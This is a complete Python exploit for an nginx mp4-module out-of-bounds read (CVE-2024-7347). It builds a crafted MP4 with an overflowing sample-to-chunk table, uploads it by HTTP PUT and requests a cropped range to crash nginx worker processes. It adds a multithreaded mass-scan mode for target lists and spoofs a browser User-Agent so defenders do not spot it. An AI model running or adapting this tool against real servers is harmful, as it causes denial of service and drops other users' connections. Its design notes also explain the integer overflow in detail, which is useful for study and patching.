nginx 1.27.0 MP4 Module Denial of Service

#!/usr/bin/env python3
    """
    CVE-2024-7347 - nginx ngx_http_mp4_module out-of-bounds read (worker DoS)
    Affected: nginx / NGINX Plus built with ngx_http_mp4_module, 1.5.13 through 1.27.0
              (also NGINX Plus r27-r32). Fixed in 1.27.1 (mainline) and 1.26.2 (stable).
    Type: DoS (buffer over-read -> SIGSEGV in the worker process)
    
    A 32-bit integer overflow in ngx_http_mp4_crop_stsc_data() lets a crafted
    sample-to-chunk table put an arbitrary 32-bit value into trak->end_chunk_samples.
    ngx_http_mp4_update_stsz_atom() then uses that value as a backwards element
    offset from a pointer inside the moov buffer, so the worker reads roughly 10 GiB
    below its own heap allocation and dies on SIGSEGV. Every connection that worker
    was serving is torn down with it.
    
    The exploit builds its own minimal MP4 (about 570 bytes), places it on the target
    through whatever write path is available, and requests it with ?start=0&end=1.
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 80
      python exploit.py --host https://media.example.com
      python exploit.py --host https://media.example.com/videos/ --upload-path /videos/
      python exploit.py --host 192.168.1.10 --remote-file /video/clip.mp4
      python exploit.py --host 192.168.1.10 --variant unordered --count 5
      python exploit.py --list targets.txt --workers 20
    
    Requires no credentials and no access to the target host beyond HTTP.
    Standard library only.
    """
    
    import argparse
    import re
    import secrets
    import socket
    import ssl
    import struct
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2024-7347"
    VULN_TYPE = "DoS"
    
    # A plausible client string. Nothing here should identify the tool: a custom
    # User-Agent is the easiest thing in the world for a defender to alert on.
    USER_AGENT = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                  "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # Crafted MP4
    # --------------------------------------------------------------------------
    
    TIMESCALE = 1000
    DURATION = 4000
    N_SAMPLES = 4
    SAMPLE_SIZE = 16
    
    UNIT_MATRIX = b"".join(
        struct.pack(">I", v)
        for v in (0x00010000, 0, 0, 0, 0x00010000, 0, 0, 0, 0x40000000)
    )
    
    # Two independent routes to the same corrupted state. Both make the truncated
    # product (next_chunk - chunk) * samples come out as 1, which is exactly the
    # residual sample index the end-side crop is carrying, so the walk steps over an
    # entry that really covers billions of samples while paying only one. The value
    # left behind in prev_samples is what lands in trak->end_chunk_samples.
    #
    #   primary   - 3 chunks of 0xAAAAAAAB samples: 0x200000001, truncated to 1.
    #   unordered - first_chunk goes backwards, so next_chunk - chunk underflows to
    #               0xFFFFFFFF and 0xFFFFFFFF * 0xFFFFFFFF also truncates to 1.
    #
    # The 1.27.1 fix widens the multiplication to 64 bits (which defuses "primary")
    # and rejects unordered chunks outright (which defuses "unordered" with a 500).
    VARIANTS = {
        #            (first_chunk, samples_per_chunk, sample_description_id)
        "primary":   [(1, 0xAAAAAAAB, 1), (4, 1, 1)],
        "unordered": [(2, 0xFFFFFFFF, 1), (1, 1, 1)],
    }
    
    
    def _be32(v: int) -> bytes:
        return struct.pack(">I", v & 0xFFFFFFFF)
    
    
    def _be16(v: int) -> bytes:
        return struct.pack(">H", v & 0xFFFF)
    
    
    def _atom(name: bytes, payload: bytes) -> bytes:
        return struct.pack(">I", 8 + len(payload)) + name + payload
    
    
    def _build(stsc_entries, chunk_offsets):
        """One pass of the file builder. Returns (bytes, offset where mdat starts)."""
        ftyp = _atom(b"ftyp", b"isom" + _be32(0x200) + b"isom" + b"mp41")
    
        mvhd = _atom(
            b"mvhd",
            _be32(0)                       # version 0 + flags
            + _be32(0) + _be32(0)          # creation / modification time
            + _be32(TIMESCALE)
            + _be32(DURATION)
            + _be32(0x00010000)            # rate 1.0
            + _be16(0x0100)                # volume 1.0
            + _be16(0)                     # reserved
            + b"\x00" * 8                  # reserved
            + UNIT_MATRIX
            + b"\x00" * 24                 # pre_defined
            + _be32(2),                    # next_track_id
        )
    
        tkhd = _atom(
            b"tkhd",
            _be32(0x00000007)              # version 0, enabled | in movie | in preview
            + _be32(0) + _be32(0)
            + _be32(1)                     # track_id
            + _be32(0)                     # reserved
            + _be32(DURATION)
            + b"\x00" * 8                  # reserved
            + _be16(0)                     # layer
            + _be16(0)                     # alternate_group
            + _be16(0)                     # volume, zero for a video track
            + _be16(0)                     # reserved
            + UNIT_MATRIX
            + _be32(320 << 16)             # width
            + _be32(240 << 16),            # height
        )
    
        # mdhd timescale drives the ?start=/?end= to sample-index mapping. 1000 with
        # a 1000-tick stts delta means one sample per second, so end=1 selects
        # exactly one sample and the end-side crop carries a residual index of 1.
        mdhd = _atom(
            b"mdhd",
            _be32(0)
            + _be32(0) + _be32(0)
            + _be32(TIMESCALE)
            + _be32(DURATION)
            + _be16(0x55C4)                # language 'und'
            + _be16(0),                    # pre_defined
        )
    
        hdlr = _atom(
            b"hdlr",
            _be32(0)
            + _be32(0)                     # pre_defined
            + b"vide"                      # handler_type
            + b"\x00" * 12                 # reserved
            + b"\x00",                     # empty name
        )
    
        # nginx requires at least 16 bytes of stsd payload but never parses the
        # entry itself, so an 8-byte stub entry is enough.
        stsd = _atom(b"stsd", _be32(0) + _be32(1) + _be32(8) + b"mp4v")
    
        stts = _atom(b"stts", _be32(0) + _be32(1) + _be32(N_SAMPLES) + _be32(TIMESCALE))
    
        stsc = _atom(
            b"stsc",
            _be32(0)
            + _be32(len(stsc_entries))
            + b"".join(_be32(c) + _be32(s) + _be32(i) for c, s, i in stsc_entries),
        )
    
        stsz = _atom(
            b"stsz",
            _be32(0)
            + _be32(0)                     # sample_size 0 => per-sample table follows
            + _be32(N_SAMPLES)
            + b"".join(_be32(SAMPLE_SIZE) for _ in range(N_SAMPLES)),
        )
    
        stco = _atom(
            b"stco",
            _be32(0) + _be32(len(chunk_offsets)) + b"".join(_be32(o) for o in chunk_offsets),
        )
    
        stbl = _atom(b"stbl", stsd + stts + stsc + stsz + stco)
        minf = _atom(b"minf", stbl)
        mdia = _atom(b"mdia", mdhd + hdlr + minf)
        trak = _atom(b"trak", tkhd + mdia)
        moov = _atom(b"moov", mvhd + trak)
    
        mdat = _atom(b"mdat", bytes(N_SAMPLES * SAMPLE_SIZE))
    
        return ftyp + moov + mdat, len(ftyp) + len(moov)
    
    
    def build_mp4(variant: str = "primary") -> bytes:
        """Build the crafted MP4 for the requested stsc layout.
    
        Everything except the stsc table is an ordinary, internally consistent
        file: no sync-sample (stss) table, so the seek is not nudged backwards
        onto an earlier key frame, and no composition-offset (ctts) table, which
        would only add another crop to keep consistent.
        """
        entries = VARIANTS[variant]
    
        # Chunk offsets depend on where mdat lands, which depends on the size of
        # moov - but that size does not depend on the offset values, so one
        # throwaway pass is enough to learn it.
        _, mdat_start = _build(entries, [0] * N_SAMPLES)
        payload_start = mdat_start + 8
        offsets = [payload_start + i * SAMPLE_SIZE for i in range(N_SAMPLES)]
    
        data, mdat_start2 = _build(entries, offsets)
        if mdat_start2 != mdat_start:
            raise RuntimeError("atom sizes shifted between passes")
        return data
    
    
    def describe_variant(variant: str) -> str:
        rows = ["  entry  first_chunk  samples_per_chunk  id"]
        for n, (c, s, i) in enumerate(VARIANTS[variant]):
            rows.append(f"  {n:<5}  {c:<11}  0x{s:08X} ({s})  {i}")
        c0, s0, _ = VARIANTS[variant][0]
        c1 = VARIANTS[variant][1][0]
        prod = ((c1 - c0) & 0xFFFFFFFF) * s0
        rows.append("")
        rows.append(f"  (next_chunk - chunk) * samples = 0x{prod:X}"
                    f"  ->  truncated to 32 bits = {prod & 0xFFFFFFFF}")
        rows.append(f"  trak->end_chunk_samples becomes 0x{s0:08X}, so the stsz update reads")
        rows.append(f"  {s0 * 4} bytes ({s0 * 4 / (1 << 30):.1f} GiB) below the moov buffer")
        return "\n".join(rows)
    
    
    # --------------------------------------------------------------------------
    # Minimal HTTP client
    #
    # Raw sockets rather than a library: the evidence for this bug is the *absence*
    # of a response, so the client must never retry, never follow a redirect and
    # never paper over a reset connection.
    # --------------------------------------------------------------------------
    
    class Crashed(Exception):
        """The connection died without the server producing an HTTP status line."""
    
    
    class Unreachable(Exception):
        """The target could not be spoken to at all."""
    
    
    def _connect(host, port, use_tls, timeout):
        try:
            sock = socket.create_connection((host, port), timeout=timeout)
        except OSError as exc:
            raise Unreachable(f"{exc.__class__.__name__}: {exc}")
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            try:
                sock = ctx.wrap_socket(sock, server_hostname=host)
            except OSError as exc:
                sock.close()
                raise Unreachable(f"TLS handshake failed: {exc}")
        return sock
    
    
    def http(host, port, use_tls, method, path, body=None, timeout=10.0):
        """Send one request on a fresh connection.
    
        Returns (status, headers, body). Raises Crashed if the peer tore the
        connection down before any status line, which is what the worker SIGSEGV
        looks like from the client side.
        """
        host_hdr = host if ":" not in host else f"[{host}]"
        if (use_tls and port != 443) or (not use_tls and port != 80):
            host_hdr = f"{host_hdr}:{port}"
    
        req = [
            f"{method} {path} HTTP/1.1",
            f"Host: {host_hdr}",
            f"User-Agent: {USER_AGENT}",
            "Accept: */*",
            "Connection: close",
        ]
        if body is not None:
            req.append(f"Content-Length: {len(body)}")
            req.append("Content-Type: video/mp4")
        raw = ("\r\n".join(req) + "\r\n\r\n").encode() + (body or b"")
    
        sock = _connect(host, port, use_tls, timeout)
        try:
            try:
                sock.sendall(raw)
            except (ConnectionResetError, BrokenPipeError) as exc:
                raise Crashed(f"connection reset while sending ({exc.__class__.__name__})")
    
            chunks = []
            while True:
                try:
                    buf = sock.recv(65536)
                except socket.timeout:
                    raise Crashed("no response before timeout")
                except (ConnectionResetError, OSError) as exc:
                    if chunks:
                        break
                    raise Crashed(f"connection reset before any response "
                                  f"({exc.__class__.__name__})")
                if not buf:
                    break
                chunks.append(buf)
        finally:
            try:
                sock.close()
            except OSError:
                pass
    
        data = b"".join(chunks)
        if not data:
            raise Crashed("empty reply - connection closed with no HTTP status line")
    
        head, _, payload = data.partition(b"\r\n\r\n")
        lines = head.split(b"\r\n")
        m = re.match(rb"HTTP/1\.[01] (\d{3})", lines[0])
        if not m:
            raise Crashed("no HTTP status line in reply")
        status = int(m.group(1))
        headers = {}
        for line in lines[1:]:
            k, _, v = line.partition(b":")
            headers[k.decode("latin-1").strip().lower()] = v.decode("latin-1").strip()
        return status, headers, payload
    
    
    def _join(prefix: str, name: str) -> str:
        return prefix.rstrip("/") + "/" + name.lstrip("/")
    
    
    # --------------------------------------------------------------------------
    # Exploit
    # --------------------------------------------------------------------------
    
    def _place_file(host, port, use_tls, upload_path, name, payload, timeout):
        """PUT the crafted file. Returns (ok, detail)."""
        try:
            status, _, body = http(host, port, use_tls, "PUT",
                                   _join(upload_path, name), payload, timeout)
        except Crashed as exc:
            return False, f"upload connection died: {exc}"
        except Unreachable as exc:
            return False, str(exc)
        if status in (200, 201, 204):
            return True, f"HTTP {status}"
        snippet = body[:200].decode("latin-1", "replace").replace("\n", " ")
        return False, f"HTTP {status} ({snippet.strip()})"
    
    
    def _remove_file(host, port, use_tls, upload_path, name, timeout):
        try:
            status, _, _ = http(host, port, use_tls, "DELETE",
                                _join(upload_path, name), None, timeout)
            return status
        except (Crashed, Unreachable):
            return None
    
    
    def _trigger(host, port, use_tls, target_path, timeout):
        """Request the crafted file with a crop range.
    
        Returns (crashed: bool, detail: str). `end` must be greater than `start`,
        otherwise mp4->length is zero and the vulnerable end-side crop returns
        before the overflowing walk ever runs.
        """
        url = target_path + "?start=0&end=1"
        t0 = time.time()
        try:
            status, headers, body = http(host, port, use_tls, "GET", url, None, timeout)
        except Crashed as exc:
            return True, str(exc)
        except Unreachable as exc:
            return False, f"unreachable: {exc}"
        ms = (time.time() - t0) * 1000
        title = ""
        m = re.search(rb"<title>(.*?)</title>", body, re.I | re.S)
        if m:
            title = " " + m.group(1).decode("latin-1", "replace").strip()
        return False, (f"HTTP {status}{title}, {len(body)} bytes body, "
                       f"content-length {headers.get('content-length', '?')}, {ms:.0f}ms")
    
    
    def _serves_plain(host, port, use_tls, target_path, timeout):
        """GET the file with no query string. The mp4 handler only inspects the
        crop arguments when there are arguments, so this is a plain static send:
        it proves the file is in place and the service is answering."""
        try:
            status, headers, body = http(host, port, use_tls, "GET", target_path,
                                         None, timeout)
        except Crashed as exc:
            return None, str(exc)
        except Unreachable as exc:
            return None, str(exc)
        return status, f"HTTP {status}, {len(body)} bytes, " \
                       f"content-length {headers.get('content-length', '?')}"
    
    
    def _try_exploit(host, port, use_tls, video_path="/video/", upload_path="/upload/",
                     variant="primary", remote_file=None, timeout=10.0,
                     cleanup=True, **_kwargs):
        """Silent probe for --list scan mode. Returns (success, evidence).
        Never prints and never exits."""
        payload = build_mp4(variant)
        name = None
        try:
            if remote_file:
                target = remote_file
            else:
                name = "tmp-%s.mp4" % secrets.token_hex(4)
                ok, detail = _place_file(host, port, use_tls, upload_path, name,
                                         payload, timeout)
                if not ok:
                    return False, f"could not place the file ({detail})"
                target = _join(video_path, name)
    
            status, _ = _serves_plain(host, port, use_tls, target, timeout)
            if status is None:
                return False, "target not serving the file"
            if status != 200:
                return False, f"file not reachable under the mp4 location (HTTP {status})"
    
            crashed, detail = _trigger(host, port, use_tls, target, timeout)
            if not crashed:
                return False, f"worker survived - {detail}"
    
            alive, _ = _serves_plain(host, port, use_tls, target, timeout)
            if alive == 200:
                return True, "worker killed, service respawned (crop request got no response)"
            return True, f"worker killed (crop request got no response: {detail})"
        finally:
            if cleanup and name:
                _remove_file(host, port, use_tls, upload_path, name, timeout)
    
    
    def _run(host, port, use_tls, target, count, timeout):
        """Baseline, trigger, liveness, repeat. Returns (success, evidence)."""
        step(3, f"Baseline: GET {target} with no crop arguments")
        status, detail = _serves_plain(host, port, use_tls, target, timeout)
        print(f"         {detail}")
        if status != 200:
            section("BASELINE FAILED", detail)
            return False, (f"the crafted file is not served from {target} - "
                           f"check --video-path / --remote-file")
    
        step(4, f"Trigger: GET {target}?start=0&end=1")
        crashed, detail = _trigger(host, port, use_tls, target, timeout)
        print(f"         {detail}")
    
        if not crashed:
            section("SERVER RESPONSE TO THE CROP REQUEST", detail)
            return False, ("the crop request was answered, so the worker survived - "
                           "target is patched (1.27.1 / 1.26.2 or later) or not "
                           "built with ngx_http_mp4_module")
    
        step(5, "Liveness control: same file, no crop arguments")
        alive, alive_detail = _serves_plain(host, port, use_tls, target, timeout)
        print(f"         {alive_detail}")
    
        repeats = []
        if count > 1:
            step(6, f"Repeatability: firing the trigger {count - 1} more time(s)")
            for i in range(count - 1):
                again, again_detail = _trigger(host, port, use_tls, target, timeout)
                print(f"         trigger {i + 2}: "
                      f"{'no response - worker killed' if again else again_detail}")
                repeats.append(again)
    
        killed = 1 + sum(1 for r in repeats if r)
        section("CRASH EVIDENCE", "\n".join([
            f"crop request        : no HTTP status line ({detail})",
            f"same file, no args  : {alive_detail}",
            f"workers killed      : {killed} of {count} trigger request(s)",
            "",
            "The service answers a plain request for the very same file both before",
            "and after the trigger, so the target is up and reachable; only the",
            "request that drives the mp4 crop path fails to produce a response.",
            "That is the worker process dying mid-request and the master respawning",
            "it - every other connection that worker held died with it.",
        ]))
        return True, (f"CRASH DETECTED - {killed}/{count} crop request(s) got no HTTP "
                      f"response while the same file served normally; nginx worker "
                      f"terminated by the out-of-bounds read")
    
    
    def exploit(host, port, use_tls, video_path, upload_path, variant, remote_file,
                count, timeout, cleanup):
        header(host, port)
    
        payload = build_mp4(variant)
        step(1, f"Building the crafted MP4 ({variant} stsc layout, {len(payload)} bytes)")
        section("CRAFTED stsc TABLE", describe_variant(variant))
    
        name = None
        if remote_file:
            target = remote_file
            step(2, f"Using the file already staged at {target} (upload skipped)")
        else:
            name = "tmp-%s.mp4" % secrets.token_hex(4)
            step(2, f"Placing the file: PUT {_join(upload_path, name)}")
            ok, detail = _place_file(host, port, use_tls, upload_path, name, payload, timeout)
            print(f"         upload: {detail}")
            if not ok:
                section("UPLOAD FAILED", detail)
                done(False, "could not place the crafted file on the target - "
                            "stage it another way and re-run with --remote-file <path>")
            target = _join(video_path, name)
    
        try:
            success, evidence = _run(host, port, use_tls, target, count, timeout)
        finally:
            # Always before done(), so the result banner is the last thing printed.
            if cleanup and name:
                status = _remove_file(host, port, use_tls, upload_path, name, timeout)
                print(f"[STEP *] Cleanup: DELETE {_join(upload_path, name)} -> "
                      f"{status if status is not None else 'no response'}")
    
        done(success, evidence)
    
    
    # --------------------------------------------------------------------------
    # Scan mode
    # --------------------------------------------------------------------------
    
    def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        import concurrent.futures
    
        default_path = kwargs.get("video_path", "/video/")
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port, default_path) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
        print("  NOTE: a hit kills a worker process on the target. Every connection")
        print("        that worker was serving is dropped. Scan only what you are")
        print("        authorised to disrupt.\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            opts = dict(kwargs)
            opts["video_path"] = path
            try:
                ok, evidence = _try_exploit(host, port, use_tls, **opts)
            except Exception as exc:                       # never let one target stop the scan
                ok, evidence = False, f"error ({exc.__class__.__name__}: {exc})"
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://host:8443/video/)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=80,
                            help="Default port (default: 80)")
        parser.add_argument("--video-path", default="/video/",
                            help="URL prefix served through the mp4 directive "
                                 "(default: /video/)")
        parser.add_argument("--upload-path", default="/upload/",
                            help="URL prefix that accepts a PUT, used to place the "
                                 "crafted file (default: /upload/)")
        parser.add_argument("--remote-file",
                            help="Path of an MP4 already present on the target, "
                                 "served through the mp4 handler. Skips the upload; "
                                 "only works if that file's own stsc table triggers "
                                 "the bug, so normally used with a file you staged "
                                 "by other means")
        parser.add_argument("--variant", choices=sorted(VARIANTS), default="primary",
                            help="stsc layout: 'primary' abuses the 32-bit "
                                 "multiplication overflow, 'unordered' abuses the "
                                 "missing first_chunk ordering check (default: primary)")
        parser.add_argument("--count", type=int, default=2,
                            help="Trigger requests to send, to show the crash "
                                 "repeats against freshly spawned workers (default: 2)")
        parser.add_argument("--timeout", type=float, default=10.0,
                            help="Per-request timeout in seconds (default: 10)")
        parser.add_argument("--no-cleanup", action="store_true",
                            help="Leave the crafted file on the target instead of "
                                 "removing it with DELETE afterwards")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        common = dict(upload_path=args.upload_path, variant=args.variant,
                      remote_file=args.remote_file, timeout=args.timeout,
                      cleanup=not args.no_cleanup)
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 video_path=args.video_path, **common)
        else:
            parsed = _parse_target(args.host, args.port, args.video_path)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port,
                                                               False, args.video_path)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.upload_path, args.variant,
                    args.remote_file, args.count, args.timeout, not args.no_cleanup)